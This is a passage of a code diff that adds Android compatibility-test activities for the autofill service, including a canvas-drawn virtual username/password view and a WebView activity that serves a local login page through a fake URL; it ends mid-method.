@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+public class ViewAttributesTestActivity extends AbstractAutoFillActivity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.view_attribute_test_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java
new file mode 100644
index 0000000..b4ea508
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerActivity.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.VirtualContainerView.Line;
+import android.autofillservice.cts.activities.VirtualContainerView.Line.OneTimeLineWatcher;
+import android.graphics.Canvas;
+import android.os.Bundle;
+import android.text.InputType;
+import android.widget.EditText;
+
+/**
+ * A custom activity that uses {@link Canvas} to draw the following fields:
+ *
+ * <ul>
+ *   <li>Username
+ *   <li>Password
+ * </ul>
+ */
+public class VirtualContainerActivity extends AbstractAutoFillActivity {
+
+    public static final String BLANK_VALUE = "        ";
+    public static final String INITIAL_URL_BAR_VALUE = "ftp://dev.null/4/8/15/16/23/42";
+
+    public EditText mUrlBar;
+    public EditText mUrlBar2;
+    public VirtualContainerView mCustomView;
+
+    public Line mUsername;
+    public Line mPassword;
+
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.virtual_container_activity);
+
+        mUrlBar = findViewById(R.id.my_url_bar);
+        mUrlBar2 = findViewById(R.id.my_url_bar2);
+        mCustomView = findViewById(R.id.virtual_container_view);
+
+        mUrlBar.setText(INITIAL_URL_BAR_VALUE);
+        mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE,
+                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
+        mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE,
+                InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
+    }
+
+    /**
+     * Triggers manual autofill in a given line.
+     */
+    public void requestAutofill(Line line) {
+        getAutofillManager().requestAutofill(mCustomView, line.text.id, line.bounds);
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsername.setTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPassword.setTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccUsernameWatcher.assertAutoFilled();
+        mExpectation.ccPasswordWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeLineWatcher ccUsernameWatcher;
+        private final OneTimeLineWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            ccUsernameWatcher = mUsername.new OneTimeLineWatcher(username);
+            ccPasswordWatcher = mPassword.new OneTimeLineWatcher(password);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java
new file mode 100644
index 0000000..bb3d37d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/VirtualContainerView.java
@@ -0,0 +1,604 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Paint.Style;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.text.TextWatcher;
+import android.util.AttributeSet;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.util.Pair;
+import android.util.SparseArray;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewStructure;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class VirtualContainerView extends View {
+
+    private static final String TAG = "VirtualContainerView";
+    private static final int LOGIN_BUTTON_VIRTUAL_ID = 666;
+
+    public static final String LABEL_CLASS = "my.readonly.view";
+    public static final String TEXT_CLASS = "my.editable.view";
+    public static final String ID_URL_BAR = "my_url_bar";
+    public static final String ID_URL_BAR2 = "my_url_bar2";
+
+    public final AutofillId mLoginButtonId;
+    private final ArrayList<Line> mLines = new ArrayList<>();
+    private final SparseArray<Item> mItems = new SparseArray<>();
+    private AutofillManager mAfm;
+
+    private Line mFocusedLine;
+    private int mNextChildId;
+
+    private Paint mTextPaint;
+    private int mTextHeight;
+    private int mTopMargin;
+    private int mLeftMargin;
+    private int mVerticalGap;
+    private int mLineLength;
+    private int mFocusedColor;
+    private int mUnfocusedColor;
+    private boolean mSync = true;
+    private boolean mOverrideDispatchProvideAutofillStructure = false;
+
+    private boolean mCompatMode = false;
+    private AccessibilityDelegate mAccessibilityDelegate;
+    private AccessibilityNodeProvider mAccessibilityNodeProvider;
+
+    /**
+     * Enum defining how the view communicate visibility changes to the framework
+     */
+    public enum VisibilityIntegrationMode {
+        NOTIFY_AFM,
+        OVERRIDE_IS_VISIBLE_TO_USER
+    }
+
+    private VisibilityIntegrationMode mVisibilityIntegrationMode;
+
+    public VirtualContainerView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+
+        setAutofillManager(context);
+
+        mTextPaint = new Paint();
+
+        mUnfocusedColor = Color.BLACK;
+        mFocusedColor = Color.RED;
+        mTextPaint.setStyle(Style.FILL);
+        DisplayMetrics metrics = new DisplayMetrics();
+        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
+        wm.getDefaultDisplay().getMetrics(metrics);
+        mTopMargin = metrics.heightPixels * 3 / 100;
+        mLeftMargin = metrics.widthPixels * 3 / 100;
+        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
+        mVerticalGap = metrics.heightPixels / 100;
+
+        mLineLength = mTextHeight + mVerticalGap;
+        mTextPaint.setTextSize(mTextHeight);
+        Log.d(TAG, "Text height: " + mTextHeight);
+        mLoginButtonId = new AutofillId(getAutofillId(), LOGIN_BUTTON_VIRTUAL_ID);
+    }
+
+    public void setAutofillManager(Context context) {
+        mAfm = context.getSystemService(AutofillManager.class);
+        Log.d(TAG, "Set AFM from " + context);
+    }
+
+    @Override
+    public void autofill(SparseArray<AutofillValue> values) {
+        Log.d(TAG, "autofill: " + values);
+        if (mCompatMode) {
+            Log.v(TAG, "using super.autofill() on compat mode");
+            super.autofill(values);
+            return;
+        }
+        for (int i = 0; i < values.size(); i++) {
+            final int id = values.keyAt(i);
+            final AutofillValue value = values.valueAt(i);
+            final Item item = getItem(id);
+            item.autofill(value.getTextValue());
+        }
+        postInvalidate();
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+
+        Log.d(TAG, "onDraw: " + mLines.size() + " lines; canvas:" + canvas);
+        float x;
+        float y = mTopMargin + mLineLength;
+        for (int i = 0; i < mLines.size(); i++) {
+            x = mLeftMargin;
+            final Line line = mLines.get(i);
+            if (!line.visible) {
+                continue;
+            }
+            Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
+            mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
+            final String readOnlyText = line.label.text + ":  [";
+            final String writeText = line.text.text + "]";
+            // Paints the label first...
+            canvas.drawText(readOnlyText, x, y, mTextPaint);
+            // ...then paints the edit text and sets the proper boundary
+            final float deltaX = mTextPaint.measureText(readOnlyText);
+            x += deltaX;
+            line.bounds.set((int) x, (int) (y - mLineLength),
+                    (int) (x + mTextPaint.measureText(writeText)), (int) y);
+            Log.d(TAG, "setBounds(" + x + ", " + y + "): " + line.bounds);
+            canvas.drawText(writeText, x, y, mTextPaint);
+            y += mLineLength;
+        }
+    }
+
+    @Override
+    public boolean onTouchEvent(MotionEvent event) {
+        final int y = (int) event.getY();
+        Log.d(TAG, "You can touch this: y=" + y + ", range=" + mLineLength + ", top=" + mTopMargin);
+        int lowerY = mTopMargin;
+        int upperY = -1;
+        for (int i = 0; i < mLines.size(); i++) {
+            upperY = lowerY + mLineLength;
+            final Line line = mLines.get(i);
+            Log.d(TAG, "Line " + i + " ranges from " + lowerY + " to " + upperY);
+            if (lowerY <= y && y <= upperY) {
+                if (mFocusedLine != null) {
+                    Log.d(TAG, "Removing focus from " + mFocusedLine);
+                    mFocusedLine.changeFocus(false);
+                }
+                Log.d(TAG, "Changing focus to " + line);
+                mFocusedLine = line;
+                mFocusedLine.changeFocus(true);
+                invalidate();
+                break;
+            }
+            lowerY += mLineLength;
+        }
+        return super.onTouchEvent(event);
+    }
+
+    @Override
+    public void dispatchProvideAutofillStructure(ViewStructure structure, int flags) {
+        if (mOverrideDispatchProvideAutofillStructure) {
+            Log.d(TAG, "Overriding dispatchProvideAutofillStructure()");
+            structure.setAutofillId(getAutofillId());
+            onProvideAutofillVirtualStructure(structure, flags);
+        } else {
+            super.dispatchProvideAutofillStructure(structure, flags);
+        }
+    }
+
+    @Override
+    public void onProvideAutofillVirtualStructure(ViewStructure structure, int flags) {
+        Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
+        super.onProvideAutofillVirtualStructure(structure, flags);
+
+        if (mCompatMode) {
+            Log.v(TAG, "using super.onProvideAutofillVirtualStructure() on compat mode");
+            return;
+        }
+
+        final String packageName = getContext().getPackageName();
+        structure.setClassName(getClass().getName());
+        final int childrenSize = mItems.size();
+        int index = structure.addChildCount(childrenSize);
+        final String syncMsg = mSync ? "" : " (async)";
+        for (int i = 0; i < childrenSize; i++) {
+            final Item item = mItems.valueAt(i);
+            Log.d(TAG, "Adding new child" + syncMsg + " at index " + index + ": " + item);
+            final ViewStructure child = mSync
+                    ? structure.newChild(index)
+                    : structure.asyncNewChild(index);
+            child.setAutofillId(structure.getAutofillId(), item.id);
+            child.setDataIsSensitive(item.sensitive);
+            if (item.editable) {
+                child.setInputType(item.line.inputType);
+            }
+            index++;
+            child.setClassName(item.className);
+            // Must set "fake" idEntry because that's what the test cases use to find nodes.
+            child.setId(1000 + index, packageName, "id", item.resourceId);
+            child.setText(item.text);
+            if (TextUtils.getTrimmedLength(item.text) > 0) {
+                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
+                // set width
+                child.setAutofillValue(AutofillValue.forText(item.text));
+            }
+            child.setFocused(item.line.focused);
+            child.setHtmlInfo(child.newHtmlInfoBuilder("TAGGY")
+                    .addAttribute("a1", "v1")
+                    .addAttribute("a2", "v2")
+                    .addAttribute("a1", "v2")
+                    .build());
+            child.setAutofillHints(new String[] {"c", "a", "a", "b", "a", "a"});
+
+            if (!mSync) {
+                Log.d(TAG, "Commiting virtual child");
+                child.asyncCommit();
+            }
+        }
+    }
+
+    @Override
+    public boolean isVisibleToUserForAutofill(int virtualId) {
+        boolean callSuper = true;
+        if (mVisibilityIntegrationMode == null) {
+            Log.w(TAG, "isVisibleToUserForAutofill(): mVisibilityIntegrationMode not set");
+        } else {
+            callSuper = mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM;
+        }
+        final boolean isVisible;
+        if (callSuper) {
+            isVisible = super.isVisibleToUserForAutofill(virtualId);
+            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") using super: " + isVisible);
+        } else {
+            final Item item = getItem(virtualId);
+            isVisible = item.line.visible;
+            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") set by test: " + isVisible);
+        }
+        return isVisible;
+    }
+
+    /**
+     * Emulates clicking the login button.
+     */
+    public void clickLogin() {
+        Log.d(TAG, "clickLogin()");
+        if (mCompatMode) {
+            sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED, LOGIN_BUTTON_VIRTUAL_ID);
+        } else {
+            mAfm.notifyViewClicked(this, LOGIN_BUTTON_VIRTUAL_ID);
+        }
+    }
+
+    private Item getItem(int id) {
+        final Item item = mItems.get(id);
+        assertWithMessage("No item for id %s", id).that(item).isNotNull();
+        return item;
+    }
+
+    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfo() {
+        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+
+        final String packageName = getContext().getPackageName();
+        node.setPackageName(packageName);
+        node.setClassName(getClass().getName());
+
+        final int childrenSize = mItems.size();
+        for (int i = 0; i < childrenSize; i++) {
+            final Item item = mItems.valueAt(i);
+            final int id = i + 1;
+            Log.d(TAG, "Adding new A11Y child with id " + id + ": " + item);
+
+            node.addChild(this, id);
+        }
+
+        return node;
+    }
+
+    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton() {
+        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+        node.setSource(this, LOGIN_BUTTON_VIRTUAL_ID);
+        node.setPackageName(getContext().getPackageName());
+        // TODO(b/37566627): ideally this button should be visible / drawn in the canvas and contain
+        // more properties like boundaries, class name, text etc...
+        return node;
+    }
+
+    public static void assertHtmlInfo(ViewNode node) {
+        final String name = node.getText().toString();
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("no HTML info on %s", name).that(info).isNotNull();
+        assertWithMessage("wrong HTML tag on %s", name).that(info.getTag()).isEqualTo("TAGGY");
+        assertWithMessage("wrong attributes on %s", name).that(info.getAttributes())
+                .containsExactly(
+                        new Pair<>("a1", "v1"),
+                        new Pair<>("a2", "v2"),
+                        new Pair<>("a1", "v2"));
+    }
+
+    public Line addLine(String labelId, String label, String textId, String text, int inputType) {
+        final Line line = new Line(labelId, label, textId, text, inputType);
+        Log.d(TAG, "addLine: " + line);
+        mLines.add(line);
+        mItems.put(line.label.id, line.label);
+        mItems.put(line.text.id, line.text);
+        return line;
+    }
+
+    public void setSync(boolean sync) {
+        mSync = sync;
+    }
+
+    public void setCompatMode(boolean compatMode) {
+        mCompatMode = compatMode;
+
+        if (mCompatMode) {
+            setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES);
+            mAccessibilityNodeProvider = new AccessibilityNodeProvider() {
+                @Override
+                public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
+                    Log.d(TAG, "createAccessibilityNodeInfo(): id=" + virtualViewId);
+                    switch (virtualViewId) {
+                        case AccessibilityNodeProvider.HOST_VIEW_ID:
+                            return onProvideAutofillCompatModeAccessibilityNodeInfo();
+                        case LOGIN_BUTTON_VIRTUAL_ID:
+                            return onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton();
+                        default:
+                            final Item item = getItem(virtualViewId);
+                            return item.provideAccessibilityNodeInfo(VirtualContainerView.this,
+                                    getContext());
+                    }
+                }
+
+                @Override
+                public boolean performAction(int virtualViewId, int action, Bundle arguments) {
+                    if (action == AccessibilityNodeInfo.ACTION_SET_TEXT) {
+                        final CharSequence text = arguments.getCharSequence(
+                                AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE);
+                        final Item item = getItem(virtualViewId);
+                        item.autofill(text);
+                        return true;
+                    }
+
+                    return false;
+                }
+            };
+            mAccessibilityDelegate = new AccessibilityDelegate() {
+                @Override
+                public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
+                    return mAccessibilityNodeProvider;
+                }
+            };
+
+            setAccessibilityDelegate(mAccessibilityDelegate);
+        }
+    }
+
+    public void setOverrideDispatchProvideAutofillStructure(boolean flag) {
+        mOverrideDispatchProvideAutofillStructure = flag;
+    }
+
+    private void sendAccessibilityEvent(int eventType, int virtualId) {
+        final AccessibilityEvent event = AccessibilityEvent.obtain();
+        event.setEventType(eventType);
+        event.setSource(VirtualContainerView.this, virtualId);
+        event.setEnabled(true);
+        event.setPackageName(getContext().getPackageName());
+        Log.v(TAG, "sendAccessibilityEvent(" + eventType + ", " + virtualId + "): " + event);
+        getContext().getSystemService(AccessibilityManager.class).sendAccessibilityEvent(event);
+    }
+
+    public final class Line {
+
+        public final Item text;
+        final Item label;
+        // Boundaries of the text field, relative to the CustomView
+        final Rect bounds = new Rect();
+        // Boundaries of the text field, relative to the screen
+        Rect absBounds;
+
+        private boolean focused;
+        private boolean visible = true;
+        private final int inputType;
+
+        private Line(String labelId, String label, String textId, String text, int inputType) {
+            this.label = new Item(this, ++mNextChildId, labelId, label, false, false);
+            this.text = new Item(this, ++mNextChildId, textId, text, true, true);
+            this.inputType = inputType;
+        }
+
+        public void changeFocus(boolean focused) {
+            this.focused = focused;
+
+            if (focused) {
+                absBounds = getAbsCoordinates();
+                Log.v(TAG, "Setting absBounds for " + text.id + " on focus change: " + absBounds);
+            }
+
+            if (mCompatMode) {
+                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_FOCUSED, text.id);
+                return;
+            }
+
+            if (focused) {
+                Log.d(TAG, "focus gained on " + text.id + "; absBounds=" + absBounds);
+                mAfm.notifyViewEntered(VirtualContainerView.this, text.id, absBounds);
+            } else {
+                Log.d(TAG, "focus lost on " + text.id);
+                mAfm.notifyViewExited(VirtualContainerView.this, text.id);
+            }
+        }
+
+        public void setVisibilityIntegrationMode(VisibilityIntegrationMode mode) {
+            mVisibilityIntegrationMode = mode;
+        }
+
+        public void changeVisibility(boolean visible) {
+            if (mVisibilityIntegrationMode == null) {
+                throw new IllegalStateException("must call setVisibilityIntegrationMode() first");
+            }
+            if (this.visible == visible) {
+                return;
+            }
+            this.visible = visible;
+            Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible
+                    + "; integrationMode: " + mVisibilityIntegrationMode);
+            if (mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM) {
+                mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
+            }
+            invalidate();
+        }
+
+        public Rect getAbsCoordinates() {
+            // Must offset the boundaries so they're relative to the CustomView.
+            final int[] offset = new int[2];
+            getLocationOnScreen(offset);
+            final Rect absBounds = new Rect(bounds.left + offset[0],
+                    bounds.top + offset[1],
+                    bounds.right + offset[0], bounds.bottom + offset[1]);
+            Log.v(TAG, "getAbsCoordinates() for " + text.id + ": bounds=" + bounds
+                    + " offset: " + Arrays.toString(offset) + " absBounds: " + absBounds);
+            return absBounds;
+        }
+
+        public void setText(String value) {
+            text.text = value;
+            final AutofillManager autofillManager =
+                    getContext().getSystemService(AutofillManager.class);
+            if (mCompatMode) {
+                sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED, text.id);
+            } else {
+                if (autofillManager != null) {
+                    autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
+                            AutofillValue.forText(text.text));
+                }
+            }
+            invalidate();
+        }
+
+        public void setTextChangedListener(TextWatcher listener) {
+            text.listener = listener;
+        }
+
+        @Override
+        public String toString() {
+            return "Label: " + label + " Text: " + text + " Focused: " + focused
+                    + " Visible: " + visible;
+        }
+
+        final class OneTimeLineWatcher implements TextWatcher {
+            private final CountDownLatch latch;
+            private final CharSequence expected;
+
+            OneTimeLineWatcher(CharSequence expectedValue) {
+                this.expected = expectedValue;
+                this.latch = new CountDownLatch(1);
+            }
+
+            @Override
+            public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+            }
+
+            @Override
+            public void onTextChanged(CharSequence s, int start, int before, int count) {
+                latch.countDown();
+            }
+
+            @Override
+            public void afterTextChanged(Editable s) {
+            }
+
+            void assertAutoFilled() throws Exception {
+                final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+                assertWithMessage("Timeout (%s ms) on Line %s", FILL_TIMEOUT.ms(), label)
+                        .that(set).isTrue();
+                final String actual = text.text.toString();
+                assertWithMessage("Wrong auto-fill value on Line %s", label)
+                        .that(actual).isEqualTo(expected.toString());
+            }
+        }
+    }
+
+    public static final class Item {
+        private final Line line;
+        public final int id;
+        private final String resourceId;
+        private CharSequence text;
+        private final boolean editable;
+        private final boolean sensitive;
+        private final String className;
+        private TextWatcher listener;
+
+        public Item(Line line, int id, String resourceId, CharSequence text, boolean editable,
+                boolean sensitive) {
+            this.line = line;
+            this.id = id;
+            this.resourceId = resourceId;
+            this.text = text;
+            this.editable = editable;
+            this.sensitive = sensitive;
+            this.className = editable ? TEXT_CLASS : LABEL_CLASS;
+        }
+
+        public AccessibilityNodeInfo provideAccessibilityNodeInfo(View parent, Context context) {
+            final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
+            node.setSource(parent, id);
+            node.setPackageName(context.getPackageName());
+            node.setClassName(className);
+            node.setEditable(editable);
+            node.setViewIdResourceName(resourceId);
+            node.setVisibleToUser(true);
+            node.setInputType(line.inputType);
+            if (line.absBounds != null) {
+                node.setBoundsInScreen(line.absBounds);
+            }
+            if (TextUtils.getTrimmedLength(text) > 0) {
+                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
+                // set width
+                node.setText(text);
+            }
+            return node;
+        }
+
+        private void autofill(CharSequence value) {
+            if (!editable) {
+                Log.w(TAG, "Item for id " + id + " is not editable: " + this);
+                return;
+            }
+            text = value;
+            if (listener != null) {
+                Log.d(TAG, "Notify listener: " + text);
+                listener.onTextChanged(text, 0, 0, 0);
+            }
+        }
+
+        @Override
+        public String toString() {
+            return id + "/" + resourceId + ": " + text + (editable ? " (editable)" : " (read-only)"
+                    + (sensitive ? " (sensitive)" : " (sanitized"));
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java
new file mode 100644
index 0000000..d795209
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/WebViewActivity.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Timeouts.WEBVIEW_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.View;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class WebViewActivity extends AbstractWebViewActivity {
+
+    private static final String TAG = "WebViewActivity";
+    private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
+    static final String ID_WEBVIEW = "webview";
+
+    public static final String ID_OUTSIDE1 = "outside1";
+    public static final String ID_OUTSIDE2 = "outside2";
+
+    public EditText mOutside1;
+    public EditText mOutside2;
+
+    private LinearLayout mParent;
+    private LinearLayout mOutsideContainer1;
+    private LinearLayout mOutsideContainer2;
+
+    private UiObject2 mUsernameLabel;
+    private UiObject2 mUsernameInput;
+    private UiObject2 mPasswordLabel;
+    private UiObject2 mPasswordInput;
+    private UiObject2 mLoginButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.webview_activity);
+
+        mParent = findViewById(R.id.parent);
+        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+        mOutside1 = findViewById(R.id.outside1);
+        mOutside2 = findViewById(R.id.outside2);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot) throws Exception {
+        return loadWebView(uiBot, false);
+    }
+
+    public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> {
+            final Context context = usingAppContext ? getApplicationContext() : this;
+            mWebView = new MyWebView(context);
+            mParent.addView(mWebView);
+            mWebView.setWebViewClient(new WebViewClient() {
+                // WebView does not set the WebDomain on file:// requests, so we need to use an
+                // https:// request and intercept it to provide the real data.
+                @Override
+                public WebResourceResponse shouldInterceptRequest(WebView view,
+                        WebResourceRequest request) {
+                    final String url = request.getUrl().toString();
+                    if (!url.equals(FAKE_URL)) {
+                        Log.d(TAG, "Ignoring " + url);
+                        return super.shouldInterceptRequest(view, request);
+                    }
+
+                    final String rawPath = request.getUrl().getPath()
+                            .substring(1); // Remove leading /
+                    Log.d(TAG, "Converting " + url + " to " + rawPath);
+                    // NOTE: cannot use try-with-resources because it would close the stream before
+                    // WebView uses it.
+                    try {
+                        return new WebResourceResponse("text/html", "utf-8",
+                                getAssets().open(rawPath));
+                    } catch (IOException e) {
+                        throw new IllegalArgumentException("Error opening " + rawPath, e);
+                    }
+                }
+
+                @Override
+                public void onPageFinished(WebView view, String url) {
+                    Log.v(TAG, "onPageFinished(): " + url);
+                    latch.countDown();
+                }
+            });
+            mWebView.loadUrl(FAKE_URL);
+        });
+
+        // Wait until it's loaded.
+        if (!latch.await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
+        }
+
+        // Validation check to make sure autofill was enabled when the WebView was created
+        assertThat(mWebView.isAutofillEnabled()).isTrue();
+
+        // WebView builds its accessibility tree asynchronously and only after being queried the
+        // first time, so we should first find the WebView and query some of its properties,
+        // wait for its accessibility tree to be populated (by blocking until a known element
+        // appears), then cache the objects for further use.
+
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+
+        // Wait for known element...
+        mUsernameLabel = uiBot.assertShownByText("Username: ", WEBVIEW_TIMEOUT);
+        // ...then cache the others
+        mUsernameInput = getInput(uiBot, mUsernameLabel);
+        mPasswordLabel = uiBot.findRightAwayByText("Password: ");
+        mPasswordInput = getInput(uiBot, mPasswordLabel);
+        mLoginButton = uiBot.findRightAwayByText("Login");
+
+        return mWebView;
+    }
+
+    public void loadOutsideViews() {
+        syncRunOnUiThread(() -> {
+            mOutsideContainer1.setVisibility(View.VISIBLE);
+            mOutsideContainer2.setVisibility(View.VISIBLE);
+        });
+    }
+
+    public UiObject2 getUsernameLabel() throws Exception {
+        return mUsernameLabel;
+    }
+
+    public UiObject2 getPasswordLabel() throws Exception {
+        return mPasswordLabel;
+    }
+
+    public UiObject2 getUsernameInput() throws Exception {
+        return mUsernameInput;
